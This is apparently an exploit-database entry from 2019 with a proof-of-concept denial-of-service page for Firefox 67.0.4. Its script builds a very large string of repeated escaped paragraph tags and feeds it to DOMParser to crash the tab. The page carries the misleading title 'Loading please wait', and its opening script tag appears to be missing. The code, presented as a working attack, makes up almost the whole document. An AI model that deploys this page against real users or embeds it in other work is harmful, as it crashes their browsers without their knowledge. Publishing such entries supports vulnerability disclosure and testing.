发布 2019-07-09 漏洞条目

Firefox 67.0.4 – Denial of Service

Exploit Source

<!--

Exploit Title: DOMParser Denial of Service on Firefox 67.0.4

Date: 09/07/2019

Description: pass a huge string as an argument to DOMParser.parseFromString will crash the tab in Firefox version 67.0.4.

Exploit Author:Tejas Ajay Naik

Vendor Homepage:

Software Link: https://ftp.mozilla.org/pub/firefox/releases/

Version: 67.0.4

Tested On: Linux x86,Windows x64 1803

CVE:

-->

<!DOCTYPE html>

<head>

<title>

Loading please wait

</title>

function MyFun() {

var text = [];

for(var i=0 ;i<300 ; ++i)

text += "<\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70>"+

"<\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70>"+

"<\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70>";

var domparser = new DOMParser();

var doc = domparser.parseFromString(text,"application/xhtml+xml");

}

</script>

</head>

<body>

</body>

</html>

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